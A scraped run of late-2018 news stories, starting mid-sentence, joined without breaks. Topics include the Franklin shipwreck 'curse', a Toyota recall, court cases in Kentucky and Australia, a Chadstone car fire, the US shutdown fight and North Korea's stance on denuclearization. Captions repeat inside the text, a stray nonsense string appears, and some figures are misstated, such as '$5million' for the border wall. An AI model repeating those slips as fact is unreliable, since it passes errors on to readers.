were discovered. The above image is a stock photo showing an Inuit mother carrying her baby in the hood of her caribou-skin parka in the Northwest Territories of Canada Detail of embossed '1845' on the ship's bell of HMS Erebus, as photographed in a lab aboard the Canadian Coast Guard Ship Sir Wilfrid Laurier The recent, sudden deaths of six people in the Canadian Arctic has locals blaming divers who found the shipwreck and invited a 'curse' upon the town of Gjoa Haven The Erebus was found by Canadian divers in 2014, and remnants of the Terror were discovered in 2016. Residents of Gjoa Haven say non-human beings are stalking the ice. Fred Pedersen of the Kitikmeot Inuit Association told residents: It is only artifacts that are being found and being taken off wreck sites. There are plans in place that if any bodies are found, they will be left in place. We will not bring up or disturb human remains. Not long after the Erebus wreck was found, Inuit guardians blessed the area in an attempt to stop the curse. But there was no such blessing for the Terror. Following the tragedies elders blessed sand from Gjoa Haven and the guardians brought it to the wreck of HMS Terror, where they sprinkled it over the wreck and performed a blessing, said Dominique Tessier of Parks Canada. The blessing was led by Inuit from Gjoa Haven. Fur trader John Rae visited the area six years after the expedition was declared lost and reported back to the Hudson's Bay Company the men suffered starvation and cannibalism. Ciaran Hinds as Captain John Franklin in The Terror. His ship HMS Erebus became stuck near King William Island while trying to get to the Pacific Ocean through the Arctic Circle In 1845, Franklin led a voyage of explorers in an attempt to locate the Northwest Passage. Two ships, the HMS Erebus and the HMS Terror, became icebound in Victoria Strait near King William Island in the Canadian Arctic. The HMS Terror, stuck in the ice, is seen above But his account was rubbished by the captain's widow, Lady Jane Franklin, who refused to accept this version of events. The TV series is named after the 2007 best-selling novel by Dan Simmons, charting the expedition to King William Island. The series begins with the Royal Navy's polar explorer ships, HMS Erebus and HMS Terror, leaving Beechey Island in the of Canadian Arctic Archipelago of Nunavut, then heading south toward King William Island into uncharted territory, seeking the Northwest Passage to the Pacific Ocean. But the ships were soon stuck, frozen and isolated in the vast ice and those aboard in the fictional recreation faced harsh weather conditions, freezing temperatures and personal rivalries, while being stalked by an mysterious and elusive specter. The first series of the horror series stars Ciaran Hinds as Captain John Franklin, who led HMS Erebus, and Jared Harris as Anglo-Irish Royal Navy officer, Francis Crozier. The second series, due to air in March next year, will see Star Trek actor, George Takei, play a former fishing captain and community elder. The show focuses on a Japanese-American intermittent camp during the Second World War, where a number of bizarre deaths expose a mysterious evil entity. Australia's most popular small car has been recalled over fears faulty automatic transmissions could cause a spike in crashes. The new Toyota Corolla is being recalled, less than four months after the latest model went on sale. Toyota issued a recall notice on Thursday about the Continuously Variable Transmission's faulty torque converter, warning a 'manufacturing error' could cause the blades to detach. The new Toyota Corolla (pictured) is being recalled, less than four months after the latest model went on sale 'Loss of motive power while driving could increase the risk of crash,' it said. The fault affects 2,640 hatchbacks built in Japan between August and October this year, with about 1,100 of them already being fixed. Replacement parts, however, are not expected to arrive in Australia until the first half of 2019. Owners of new two-litre petrol Corollas are advised to take their car to a dealer to have the problem fixed for free, with 10 hours of labour expected for each vehicle. Bannister Law has launched a class action against Toyota over diesel particulate filters fitted to the Thai-built Hilux ute (pictured), Australia's top selling vehicle in November Toyota's recall notice is being issued as Sydney legal firm Bannister Law launches a class action against the Japanese car giant over diesel particulate filters fitted to the Thai-built Hilux ute, Australia's top selling vehicle in November. AUSTRALIA'S TOP SELLERS 1. Toyota Hilux ute 2. Ford Ranger ute 3. Toyota Corolla hatch and sedan 4. Mitsubishi Triton ute 5. Hyundai i30 hatch 6. Mazda3 hatch and sedan 7. Mazda CX-5 SUV 8. Toyota LandCruiser four-wheel drive 9. Nissan X-Trail SUV 10. Toyota RAV4 SUV Source: Federal Chamber of Automotive Industries VFacts sales data for November 2018 Advertisement It has been in contact with owners who have experienced increased fuel consumption and loss of power. The faulty 2.8 litre diesel is also fitted to the Prado and Fortuner four-wheel drives, sold in Australia between 2015 and 2018. Toyota wrote to their customers earlier this month offering to fix or replace the diesel filters but Bannister Law is arguing owners had experienced problems for many years which had caused 'unnecessary inconvenience and expense'. It wants owners compensated for repairs, not covered by a warranty, that have caused a loss of income and accelerated depreciation. Toyota is Australia's top selling brand, with an 18.9 per cent market share, with the Hilux and Corolla taking out the first and third spots on the sales charts in November, data from the Federal Chamber of Automotive Industries showed. Of the top 10 bestsellers in Australia, four of them are Toyotas with the LandCruiser and RAV4 also on the chart. Turkey's Defense Minister Hulusi Akar said that Turkish army is preparing for a military operation in Syria. "Now we have Manbij and the east of the Euphrates in front of us. We are working intensively on this subject," Anadolu Agency cited Akar as saying. "Right now it is being said that some ditches, tunnels were dug in Manbij and to the east of the Euphrates. They can dig tunnels or ditches if they want, they can go underground if they want, when the time and place comes they will buried in the ditches they dug. No one should doubt this," he said during a visit to a Qatari-Turkish joint military base in Doha. This is Ankaras first official statement after the U.S. announced the decision to withdraw troops from Syria. A Victorian terrace house with a seedy history has undergone an amazing renovation a before being put back on the market for twice the price it sold for a year earlier. The terrace house in Richmond, inner Melbourne, was the site of a seedy brothel before being abandoned and taken over by squatters for several years. But when founder of Exclusive Photography Shane Monopoli bought the derelict property with his wife Val for $1.1million in 2017 he already had a plan in mind. A Victorian terrace house with a seedy history has undergone an amazing renovation (pictured, left, is the home before the renovation, right is afterwards) The terrace house in Richmond, Melbourne, was a seedy brothel before being abandoned and taken over by squatters for years One year of amazing renovations later and the old terrace building has been transformed into a stunning commercial work space now on the market for $2 to $2.2 million. 'There were holes in the ceilings and walls, the carpet smelled, there were hundreds and hundreds of needles, and bags and bags of garbage, [and] there was no power connected,' Mr Monopoli told realestate.com.au. 'It was completely derelict.' Mr Monopoli said only his wife supported his vision from the start. So when founder of Exclusive Photography Shane Monopoli (pictured right) bought the derelict property with is wife Val Monopoli (pictured left) for $1.102 million in 2017 he already had a plan in mind The renovations (left is before renovating, right is after) included near polished hardwood floors throughout, new high class chandeliers and three metre ceilings in every room The building combines a number of work spaces with meeting rooms, a kitchen and meals room, two bathrooms, and a vast studio on the top floor The walls on the top floor have also been decked out win the 'broken plaster' style which creates a rustic but refined look for the space 'I'm creative, so I could see past it all. Everyone said I was crazy only my wife backed me up.' The renovations included near polished hardwood floors throughout, new high class chandeliers and three-metre ceilings in every room. The building combines a number of work spaces with meeting rooms, a kitchen and meals room, two bathrooms, and a vast studio on the top floor. The walls on the top floor have also been decked out win the 'broken plaster' style which creates a rustic but refined look for the space. At the time it was described as the 'worst property in 30 years' to go up for auction in the area, even the promotional tagline at auction was 'do not say he haven't warned you' Mr Monopoli had planned to use the new work spaces for his business but said he decided to sell after discovering he needed more room. The building was originally advertised as having three bedrooms and two bathrooms and Mr Monopoli said it could easily be converted back to a residential living space if desired. When it originally went up for auction in 2017 there were already an application in for the building's demolition, which was averted after Mr Monopoli made the purchase. At the time it was described as the 'worst property in 30 years' to go up for auction in the area, and even the promotional tagline at auction cautioned, 'do not say we haven't warned you'. Four men who were found guilty in the death of US Olympian Tyson Gay's 15-year-old daughter Trinity have been sentenced. Trinity was an innocent bystander caught in a hail storm of bullets during a shootout in the parking lot of Cook Out restaurant in Kentucky in October 2016. The rising track star was shot in the neck. Authorities still don't know who fired the .45 caliber bullet that killed her. Chazerae Taylor, who was found guilty of wanton murder and four counts of wanton endangerment, was sentenced to 22 years in prison. Scroll down for video Four men who were found guilty in the death of US Olympian Tyson Gay's 15-year-old daughter Trinity (pictured together) have been sentenced Chazerae Taylor (pictured in court on Wednesday), who was found guilty of wanton murder and four counts of wanton endangerment, was sentenced to 22 years in prison Witnesses said Taylor, 40, was the first person to fire a gun at the scene - leading to the chain reaction of the shootout that led to Trinity's death. 'I'm sorry for everything that happened and I still every day think about all the ways I could have went about it,' Taylor told the courtroom on Wednesday, according to WKYT. D'Vonta Middlebrooks, 23, received a 15-year sentence in the shooting after the jury found he was a persistent felony offender. Middlebrooks, who said little in the courtroom, had been found guilty of wanton endangerment. Taylor's 21-year-old son D'Markeo was sentenced to 15 months time served and five years probation. D'Vonta Middlebrooks, 23, received a 15-year sentence in the shooting after the jury found he was a persistent felony offender. He smiled as he walked out of the courtroom Taylor's 21-year-old son D'Markeo was sentenced to 15 months time served and five years probation for his friend's death D'Markeo read a statement apologizing to Trinity's family during the sentencing. 'I'm truly sorry,' he said. 'Trinity and I loved each other. Talked every day. She didn't deserve any of this. 'I still see her big smile. Every day. I wish I could go back to do that night over. Trinity had a big impact on all of our lives and we all loved her.' Lamonte Williams, 23, was sentenced to one year time served. He had been found guilty on five counts of wanton endangerment. Lamonte Williams, 23, was sentenced to one year time served. He had been found guilty on five counts of wanton endangerment 'Obviously this is a tragedy for everyone involved,' said Abe Mashni, Williams' attorney, after the sentencing. 'We are extremely happy that Lamonte will be home with his family for Christmas. We wish Trinity could be with her family.' Sentencing was originally scheduled to take place in November, but the judge postponed it so that he could have more time to go through case documents. Problems that led to the shootout first arose on the night of October 15, 2016, when D'Markeo and a friend were robbed of a gun at Cook Out. He returned to the Cook Out the next day with his father and Williams to look for the robber and get the gun back. Middlebrooks had been at the scene. Taylor then fired shots in the air. His attorney argued that he had been trying to disperse the crowd of people in the parking lot. But prosecutors argued that the gunshots led to Trinity's death and showed an 'extreme indifference to human life'. '[Taylor] knew how many people were in the parking lot and could be potentially shot if people fired shots in reaction to his gunfire,' said Assistant Commonwealth's Attorney Brad Bryant. Shoshana Boyd, Trinity's mother, told Lexington Herald-Leader that her daughter was a 4.0 student who had never caused any trouble. Problems that led to the shootout first arose on the night of October 15, 2016, when D'Markeo (left) and a friend were robbed of a gun at Cook Out, a fast food chain in Kentucky. He returned to the scene with his father (right) to find the gun Lamonte Williams (left) accompanied Taylor and D'Markeo. D'Vonta Middlebrooks (right) had been at the scene at the time of the shooting 'Honestly I don't care how they feel about anything,' Boyd said of the four defendants. 'They get to see their loved ones, I don't.' Although the sentencing has finally brought closure to Trinity's death, Boyd noted that it will never bring her back. 'Me and Tyson have to go to the cemetery every single holiday and every birthday,' she said. Gay expressed similar feelings after the four men were found guilty in October. 'I just hope something positive comes out of this situation,' Gay told the Herald-Leader at the time. 'I really believe our prosecutors did a great job... I'm proud that my daughter got some justice. 'It's just one of those things when you're never going to be satisfied, but at the same time, you have to learn to deal with it and just hope for the best.' A four-year-old girl has suffered significant injuries on her face after she was mauled by a rescue dog. Emergency crews were called to a suburban property in Morayfield, north of Brisbane, on Wednesday, about 7pm after the Great Dane attacked. The girl was rushed to Mater Childrens Hospital in a stable condition where she was undergone surgery, Brisbane Times reported. The girl was rushed to Mater Childrens Hospital (pictured) in a stable condition where she was undergone surgery The animal, a rescue dog, has been put down by its owner. Moreton Bay Council toughened its laws around unprovoked dog attacks last month. Four dog owners will be prosecuted after four separate attacks in the region. Mayor Allan Sutherland said he was concerned about any risk to a child. 'Im a dog lover, and my children have had dogs most of their lives. But dogs can be dangerous. Especially if theyre not cared for properly,' he said. The biggest shopping centre in Australia went into lockdown after a vehicle exploded in the car park. Amid the busy Christmas shopping rush, a car burst into flames inside Chadstone Shopping Centre's car park in Melbourne. The car burst into flames about 1.38pm on Thursday, causing thousands of shoppers to be evacuated from the complex. The biggest shopping centre in Australia is in lockdown after a vehicle exploded in the car park Thousands of shoppers were evacuated from Chadstone Shopping Cenntre Up to three other cars also caught fire and thick smoke quickly spread throughout the car park. The Melbourne Fire Brigage was called to the scene at 1.40pm as a thick blanket of smoke spread outside the complex. The rest of the centre is not affected and continues to trade as normal until midnight tonight,' the shopping centre tweeted at 4pm on Thursday More than 50 Victorian firefighters were called to the scene The fire prompted the evacuation of the level-one David Jones car park and the closure of all other levels, the shopping centre tweeted on Thursday. Up to 50 firefighters and 12 fire trucks rushed to the scene and brought the blaze under control by 2.27pm. Eleven cars were damaged but no-one was injured. It's understood the driver of the car that sparked the blaze noticed the vehicle was smoking and got out to get help but it was too late, 9 News reported. The fire prompted the evacuation of the level-one David Jones car park and the closure of all other levels, the shopping centre tweeted on Thursday. Customers have been waiting hours to get to their cars and keep trying to push past security despite the chaos 'There will be some traffic disruption in the area surrounding the incident and number of people have been evacuated from the centre,' Victoria Police said in a statement. Police closed the Dandenong Road entrance to the shopping centre, causing delays for Dandenong Road, Belgrave Road and Chadstone Road. Luckily there have been no injuries in the explosion but paramedics are on standby. The incident happened on one of the busiest Christmas shopping days of the year Amid the busy Christmas shopping rush, a car burst into flames inside Chadstone Shopping Centre's car park in Melbourne 'Fortunately no one was injured but a number of cars were affected,' Chadstone tweeted. 'The rest of the centre is not affected and continues to trade. We will continue to provide regular updates as to when we can open the car park and as always the safety and wellbeing of our customers, retailers and team is our primary concern.' Police confirmed the fire was accidentally caused due to a fault in the vehicle, and are not treating it as suspicious. Police closed the Dandenong Road entrance to the shopping centre, causing delays for Dandenong Road, Belgrave Road and Chadstone Road, which caused traffic delays Police warned of traffic disruptions in the area following the incident Firefighters were working to clear the smoke and people were being told to avoid the area. Customers have been waiting hours to get to their cars and keep trying to push past security despite the chaos. A thick blanket of smoke quickly spread outside the complex as the Melbourne Fire Brigade urged the public to steer clear of the area President Donald Trump issued an executive order on Tuesday giving all federal employees license to take the day off on Christmas Eve. 'All executive departments and agencies of the Federal Government shall be closed and their employees excused from duty on Monday, December 24, 2018, the day before Christmas Day,' the order read, as posted to the White House website. Christmas Eve falls on a Monday this year, so the extra time off will certainly be appreciated by those who can take advantage of it. But not all federal employees are guaranteed the additional holiday. President Donald Trump issued an executive order on Tuesday giving all federal employees license to take the day off on Christmas Eve, which falls on a Monday this year, creating a long weekend. Trump and First Lady Melania Trump are seen in their Official Christmas Portrait on December 15 in the Cross Hall of the White House in Washington, DC Further down, the order notes that some people are simply indispensable to the business of running this country on Monday. 'The heads of executive departments and agencies may determine that certain offices and installations of their organizations, or parts thereof, must remain open and that certain employees must report for duty on December 24, 2018, for reasons of national security, defense, or other public need,' it read. The post office, for example, will most likely have to remain open so that last minute deliveries can be made and people aren't left disappointed on Christmas morning. The order didn't say whether Trump was giving himself the day off, but it did charge the Office of Personnel Management with carrying out the order. The announcement got mixed reviews on social media. The announcement got mixed reviews from on social media, with Twitter user @cmc_cannedeye writing, 'Wonder if I will be furloughed or not (I am part of the federal workers who still don't have a long term budget),' referencing the government shutdown that the Senate voted in hopes of avoiding on Wednesday A Seattle native with the username was seemingly pleased, if sarcastic, writing, 'Trump did at least one decent thing today!' under the username @IveBeenGlazed with a name listed as 'MoreCoffeePlease' 'Wonder if I will be furloughed or not (I am part of the federal workers who still don't have a long term budget),' wondered Twitter user @cmc_cannedeye, referencing the government shutdown that the Senate voted in hopes of avoiding on Wednesday. A Seattle native was seemingly pleased, if sarcastic, writing, 'Trump did at least one decent thing today!' From the other side, sarcasm came in support of Trump, with user @PRPatLaw writing, 'I want to see all those anti-Trump federal employees go to work on Monday as a way of protesting...' Sarcasm came in support of Trump, with user @PRPatLaw writing, 'I want to see all those anti-Trump federal employees go to work on Monday as a way of protesting...' A Twitter user listed as Jim Dixon with the username @jdixon2600 wrote, 'Like Presidents before him. Watch him try to say he was the first' Trump isn't the first president to issue such an Executive Order leading up to the holidays, though he hadn't tried to make that claim by early on Thursday, either. Trump is shown, accompanied by first lady Melania Trump during the National Christmas Treelighting ceremony at the Ellipse near the White House in Washington, DC on November 28 And a user listed as Jim Dixon with the username @jdixon2600 wrote, 'Like Presidents before him. Watch him try to say he was the first.' Dixon is correct that Trump isn't the first president to issue such an executive order leading up to the holidays, though he hadn't tried to make that claim by early on Thursday, either. For example, former President Barack Obama did the same in varying ways throughout his eight years in office, doling out a half-day off in both 2009 and 2015 when Christmas Eve fell on a Thursday, according to Government Executive, a site dedicated to federal business news. Obama gave a bit more notice too, issuing the order two weeks ahead of the holiday that year, rather than just shy of one week, like Trump did this year. In 2014, Obama gave the extra time off on the day after Christmas, when Christmas was on a Thursday, saving a few people from having to come back in to work for just one day before being off again for the weekend. This year was Trump's first chance to extend the extra time off courtesy to beleaguered federal workers, as Christmas Eve fell on Sunday last year, so the majority of government employees were already off work, anyway. A boy and a woman are fighting for their lives after nearly drowning in a swimming pool in Brisbane. Ambulance crews and police were called to a home in Brendale at 1pm for reports of a near drowning, a Queensland Ambulance spokesman said. The woman, 31, and the child, 11, were found in the backyard pool, The Courier Mail reported. The woman was rushed to Royal Brisbane Hospital in a critical condition, while the boy was taken to the Queensland Childrens Hospital The pair were rushed to hospital , where they remain in a critical condition. The incident comes as a man in his 80s was pulled from the surf at Caloundra, near the Sunshine Coast. He was given CPR by Surf lifesavers and paramedics but died at the scene. A father and daughter are among three people charged with the murder of a woman whose body was found dumped in bushland. Kym Taylor's remains were discovered by a passerby in the Jarrahdale State Forest, on the outskirts of Perth last month. Days after the discovery of the Ms Taylor's body, Western Australia Police charged William Wright, 46, with her murder. Kym Taylor's (pictured) body was found dumped in the Jarrahdale State Forest, on the outskirts of Perth last month A father and daughter are among three people charged with the murder of Ms Taylor His daughter Stacey Lea Wright, 27, was charged earlier this month, initially with accessory after the fact. However, this was upgraded to murder this week and she is due to appear in the Armadale Magistrates Court on the new charge on Thursday. A third man Daniel Paul Ogilvie, 39, has also been charged with murder and will appear in court in February. All three are believed to reside in the suburb of Girrawheen in Perth's north. The arrests follow an emotional plea for information by Ms Taylor's family in the days after her body was found. Ms Taylor, who was 37, was described as a beautiful and intelligent person by her aunt. Ms Taylor, who was 37, was described as a beautiful and intelligent person by her aunt Police have alleged that Ms Taylor was murdered some time between October 25 and November 18 and that she was known to Mr Wright Kym Taylor's body was found in Bedfordale, in the outskirts of Perth (pictured) Her devastated mother Courtney Hill-Aaron said she her daughter dreamed of making something of herself but that she suffered 'a lot of demons'. 'She was a loved little girl even though she's a grown woman all these people love her, and she's not just something that should have been left out there like that,' she told Nine News. Police have alleged that Ms Taylor was murdered some time between October 25 and November 18 and that she was known to Mr Wright. Pensioner Ross Oliver McCarty, 69, has been charged with eight bank robberies committed across Sydney in the late 1970s A pensioner has admitted to a string of bank robberies committed while he was drunk four decades ago, a court has heard. Ross Oliver McCarty, 69, was arrested on Thursday morning while sitting at home with his wife in their unit at Edgecliff, in Sydney's eastern suburbs. McCarty is alleged to have stolen cash from eight banks in the central business district and on the city's north shore in 1977 and 1978. Waverley Local Court heard McCarty committed the robberies while he was a 'full-blown alcoholic' and that most of the crimes occurred in the afternoon following lunchtime drinking binges. McCarty's wife of 47 years and her sister were in court and both were in deep shock, Legal Aid solicitor Mark Klees said. 'They obviously had no idea about these matters,' Mr McCarty said. 'This is a very unusual matter. It's a very old matter.' Police allege McCarty, who was in his late 20s at the time of the robberies, handed tellers notes that warned he had a gun and demanded they hand over money in small denominations. Ross Oliver McCarty is arrested at the home he shares with his wife of 47 years in New South Head Road, Edgecliff, in Sydney's eastern suburbs. He was surprised by the knock on the door Ross McCarty's wife leaves Waverley Local Court after her husband was refused bail over eight bank robberies. The court heard Mrs McCarty had no idea of her husband's alleged past Waverley Local Court heard Ross Oliver McCarty had made 'full admissions' to the robberies McCarty was only caught after his fingerprints were taken when he was charged with fraud in 2010 and later matched to the archived notes found at the crime scenes. His alleged crimes occurred so long ago that only one of the banks he is accused of robbing still exists. In applying for bail for his client Mr Klees said McCarty had given up alcohol 30 years ago and had worked as a self-taught bookkeeper. He suffered from depression and attention deficit hyperactivity disorder and had undergone kidney surgery. McCarty had been tested for a possible tumour on his thyroid on Wednesday and had an appointment booked with an endocrinologist on Thursday. 'He realises there is a high probability of a custodial sentence,' Mr Klees said. 'He's willing to do that and pay his dues for these serious offences.' Magistrate Michael Barko was unmoved by the defence submissions or McCarty's diagnosis of depression. 'Makes me think how the eight bank tellers felt in the years following when they were threatened with a gun or the presence of a gun,' Mr Barko said. Police allege McCarty, who was in his late 20s at the time of the robberies, handed tellers notes that warned he had a gun and demanded they hand over money in small denominations. Ross McCarty's wife declined to speak to reporters when she left court on Thursday afternoon 'Some of them were told their heads would be blown off.' McCarty is accused of robbing branches of the Commercial Banking Company, Commercial Bank of Australia, National Bank of Australasia, Rural Bank, Bank of New South Wales and ANZ. THE BANK ROBBERIES June 3, 1977: $1,300 from the Commercial Banking Company at Ultimo June 14, 1977: $850 from the Rural Bank in Sydney July 13, 1977: $1,943 from the Commercial Banking Company at Haymarket July 25, 1977: $2,000 from the ANZ in Sydney October 11, 1977: $1,400 from the Commercial Bank of Australia at Chatswood February 20, 1978: $1,400 from the Bank of NSW in Sydney March 7, 1978: $450 from the Bank of NSW in Sydney March 9, 1978: $2,000 from the National Bank of Australasia in Sydney SYeQXewX\. Advertisement His hauls ranged from $450 to $2,000 and totaled $11,343. In refusing bail, Mr Barko said the case against McCarty was strong and it was certain he would be jailed if convicted. 'One cannot escape the consequences of one's actions simply by the passage of time,' he said. Police said when they knocked on his door, McCarty was surprised his past had caught up with him. 'A strike force was set up to look into some old cases and working with the forensic department, we have been able to lay charges relating to eight bank robberies,' the commander of Robbery and Serious Crimes, Detective Superintendent Daniel Doherty said. 'The message today is clear - it doesn't matter if it takes 40 years, 40 days or 40 minutes, we will track you down and you will have to answer for your crimes.' 'The long arm of the law will stretch back in time.' Bank tellers who were working at the branches when they were robbed had provided 'clear and vivid' statements to police. 'It's like they were recounting something that only happened to them yesterday,' Detective Superintendent Doherty said. With the holidays just days away, Nancy Pelosi wasn't afraid to let her hair down. The congresswoman was seen happily singing and dancing along with her peers after a very good week for the Democrats. Pelosi got into the spirit as she attended Rep Joe Crowley's going away party on Wednesday night. Crowley lost his seat in the House of Representatives after he was defeated in the New York primary by Alexandria Ocasio-Cortez in June. Scroll down for video With the holidays just days away, Nancy Pelosi wasn't afraid to let her hair down as she celebrated with Rep Joe Crowley (pictured together) at his going away party on Wednesday Pelosi and Crowley clinked their glasses together as they spoke to the crowd at the party The 10-term congressman got on stage at his goodbye party, where he played the guitar and sang the classic tune American Pie. Pelosi took to the front of the crowd for the performance, swaying along with the music and singing along to every word before she later joined Crowley on stage. Crowley said goodbye to the House of Representatives on Wednesday after 20 years of service. 'It's been the honor of my life to be the voice of many people from New York City,' he said during his farewell speech on the floor. The 10-term congressman took to the stage at his goodbye party, where he played the guitar and sang the classic tune American Pie Pelosi took to the front of the crowd for the performance, swaying along with the crowd and singing along to every word before she later joined Crowley on stage The pair could later be seen chatting together during the goodbye party on Wednesday night 'Thank you to the people of Queens and the Bronx. It's been the honor of a lifetime to be your voice.' Crowley became emotional as he thanked his family during his speech and received a standing ovation from the House. 'We may all have different backgrounds, but we're united by our shared dreams for this great land,' he continued. 'I believe in the best in America, its people, and its public servants. As Pelosi danced the night away, the Senate approved legislation to temporarily fund the government. The approval is a key step toward averting a federal shutdown after President Donald Trump backed off his demand for $5million for a border wall with Mexico. Crowley became emotional as he thanked his family during his speech and received a standing ovation from the House on Wednesday Senators passed the measure, which would keep government running to February 8, by voice vote without a roll call. The House is also expected to move before Friday's deadline, when funding for a portion of the government expires. Without resolution, more than 800,000 federal workers would face furloughs or be forced to work without pay, disrupting government operations days before Christmas. While the White House indicated Trump was open to reviewing whatever Congress could pass, the president did not immediately weigh in on the short-term plan. Senate Majority Leader Mitch McConnell said the Senate will remain in session Thursday 'to see what the House does'. Pelosi, who is on track to become Speaker of the House when Democrats take control on January 3, signaled support for ensuring funding. 'Democrats will be ready to fully, responsibly fund our government in January,' she said in a statement. As Pelosi danced the night away, the Senate approved legislation to temporarily fund the government - which comes a week after Pelosi and Senate Minority Leader Chuck Schumer faced off against Trump about the border wall on live television The approval comes just a week after Pelosi and Senate Minority Leader Chuck Schumer faced off against Trump about the border wall on live television. Pelosi argued that a government shutdown is 'not worth anything', including Trump's border wall. 'I think the American people recognize that we must keep government open, that a shutdown is not worth anything, and that you should not have a Trump shutdown,' she said. 'I was going to call it a Pelosi shutdown,' Trump shot back. 'We do not want to shut down the government. You have called 20 times to shut down the government,' Schumer said. 'And that's what we're urging you to do. Not threaten to shut down the government because you can't get your way.' 'We have a proposal that Democrats and Republicans will support...that will not shut down the government,' he continued. 'We urge you to take it.' 'And if it's not good border security, I won't take it,' Trump countered. Pelosi (pictured walking out of the West Wing following the confrontation) argued that a government shutdown is 'not worth anything', including Trump's border wall Trump then dug in over a shutdown, even brandishing it as a political threat. 'I am proud to shut down the government for border security, Chuck, because the people of this country don't want criminals and people that have lots of problems and drugs pouring into our country. So I will take the mantle,' he said. 'I will be the one to shut it down. I'm not going to blame you for it. The last time you shut it down, it didn't work. I will take the mantle of shutting down.' But the White House showed its willingness to budge as it became apparent the president did not have support in Congress for paying for the wall. White House press secretary Sarah Huckabee Sanders indicated earlier this week that Trump did not want to shut down the government. She said the administration was looking at ways to find the money elsewhere, though that was uncertain because it would also likely need congressional approval. Labor has been accused of punishing tradies and nurses who want to buy a house to have some extra retirement income. Opposition Leader Bill Shorten has vowed a Labor government will scrap negative gearing for investors should it win next year's election. Despite a severe housing market downturn in Sydney and Melbourne, Labor wants to get rid of tax breaks for landlords who buy an existing property, after a certain date in 2019. Warren Mundine, who was Labor's national president in 2006 and 2007, said the whole policy smacked of class warfare that would hurt low and middle-income earners. Despite a severe housing market downturn in Sydney (pictured) and Melbourne, Labor wants to get rid of tax breaks for landlords who buy an existing property, after a certain date in 2019 'They always talk about the rich, the filthy rich,' he told Sydney radio 2GB on Thursday. Mr Mundine, an indigenous man who grew up in northern New South Wales during the 1960s, said Labor had turned the working class into the 'enemy'. 'The actual fact, 75 per cent of the people who are doing this negative gearing and buying houses are nurses, are police, are tradies, are factory workers, are labourers,' he said. 'These are people who are trying to get some income in and save some money so when they retire ... you're going to have some money in the kitty for yourself so you're not going to be living in poverty.' Warren Mundine, who was Labor's national president in 2006 and 2007, said Labor's negative gearing policy smacked of class warfare and would hurt the poor (homes in Sydney pictured) Labor is proposing to keep negative gearing for brand new investment properties in a bid to encourage the construction industry. Its plan to scrap the tax breaks for existing rental properties would not be retrospective and would only affect those bought after a start date next year, should Labor win the May election. Treasury figures show that in the 2012/13 financial year, almost 70 per cent of people with negatively geared property had a taxable income of less than $80,000 a year. This data snapshot was taken before house prices in Sydney surged by double-digit amounts every year until 2017. Median house prices in Melbourne (pictured) have dived by 7.6 per cent since peaking in November last year while Sydney values have plunged by 9.5 per cent since July 2017 Houses in inner-city Sydney and Melbourne are beyond the reach of average-income earners on an $82,000-a-year salary. These are the people who often resort to buying homes in the outer suburbs and renting them out at a loss to claim a tax break. A spike in real estate values saw interest on mortgage repayments outpace rental income, leading to more investors claiming a loss on their tax return. Since peaking in July 2017, Sydney's median house price has plummeted by 9.5 per cent. Melbourne's equivalent values have declined by 7.6 per cent since reaching a zenith in November last year. The downturns in Australia's biggest property markets occurred after the Australian Prudential Regulation Authority cracked down on investor and interest-only home loans. Russian President Vladimir Putin, speaking at his annual news conference, praised the Russian-Turkish relations, answering the question from journalist Fuad Safarov, who asked about Putins attitude to Mustafa Kemal Ataturk. "Ataturk was a great person, who did a lot for the Turkish nation. He was a good friend of Russia, we greatly appreciate it. Ataturk created modern Turkey, laid its basic foundations," the president said in the first place. As for the relations, Vladimir Putin stressed that they are developing well, even if some interests of the two nations dont coincide. He added that Russia respects Turkish interests in Syria and sees that Ankara is willing to compromise where Russias interests are involved. "Our economic relations are strengthening. Despite the fact that Turkey is a member of NATO, it pursues an independent foreign policy, which creates conditions for predictability and stability of our relations. The Turkish president's personal stance contributes to this situation, we hope that the same trend will continue further under Recep Tayyip Erdogan's leadership," Vladimir Putin concluded. North Korea says that it will never unilaterally give up its nuclear weapons unless the United States first removes what Pyongyang called a nuclear threat. The surprisingly blunt statement jars with Seoul's rosier presentation of the North Korean position and could rattle the fragile trilateral diplomacy to defuse a nuclear crisis that last year had many fearing war. The latest from North Korea comes as the United States and North Korea struggle over the sequencing of the denuclearization that Washington wants and the removal of international sanctions desired by Pyongyang. You first! Kim Jong Un has said he refuses to unilaterally give up his nuclear weapons, unless the U.S. removes 'nuclear threats' from the Korean peninsula and neighbouring nations The statement carried by the North's official Korean Central News Agency also raises credibility problems for the liberal South Korean government, which has continuously claimed that North Korean leader Kim Jong Un is genuinely interested in negotiating away his nuclear weapons as Seoul tries to sustain a positive atmosphere for dialogue. The North's comments may also be seen as proof of what outside sceptics have long said: that Kim will never voluntarily relinquish an arsenal he sees as a stronger guarantee of survival than whatever security assurances the United States might provide. The statement suggests North Korea will eventually demand the United States withdraw or significantly reduce the 28,500 American troops stationed in South Korea, a major sticking point in any disarmament deal. Kim and President Donald Trump met June 12 in Singapore where they agreed on a vague goal for the 'complete denuclearization' of the Korean Peninsula without describing when and how it would occur. The leaders are trying to arrange another meeting for early next year. Checking it out: North Korean leader Kim Jong Un, pictured bottom right, inspects the preparation of the launch of a Hwasong-14 intercontinental ballistic missile last year Kim and President Donald Trump met on June 12 in Singapore where they agreed on a vague goal for the 'complete denuclearization' of the Korean Peninsula without describing when and how it would occur But North Korea for decades has been pushing a concept of denuclearization that bears no resemblance to the American definition, with Pyongyang vowing to pursue nuclear development until the United States removes its troops and the nuclear umbrella defending South Korea and Japan. In Thursday's statement, the North made clear it's sticking to its traditional stance on denuclearization. It accused Washington of twisting what had been agreed on in Singapore and driving post-summit talks into an impasse. 'The United States must now recognize the accurate meaning of the denuclearization of the Korean Peninsula, and especially, must study geography,' the statement said. 'When we talk about the Korean Peninsula, it includes the territory of our republic and also the entire region of (South Korea) where the United States has placed its invasive force, including nuclear weapons. When we talk about the complete denuclearization of the Korean Peninsula, it means the removal of all sources of nuclear threat, not only from the South and North but also from areas neighboring the Korean Peninsula,' the statement said. U.S. Special Representative for North Korea Stephen Biegun speaks to the media upon his arrival at Incheon International Airport in Incheon, South Korea in December The United States removed its tactical nuclear weapons from South Korea in the 1990s. Washington and Seoul did not immediately respond to the North Korean statement. North Korea's reiteration of its long-standing position on denuclearization could prove to be a major setback for diplomacy, which was revived early this year following a series of provocative nuclear and missile tests that left Kim and Trump spending most of 2017 exchanging personal insults and war threats. The statement could jeopardize a second Trump-Kim summit as the United States may have difficulty negotiating further if the North ties the future of its nukes to the U.S. military presence in the South, analysts said. South Korean President Moon Jae-in, who met Kim three times this year and lobbied 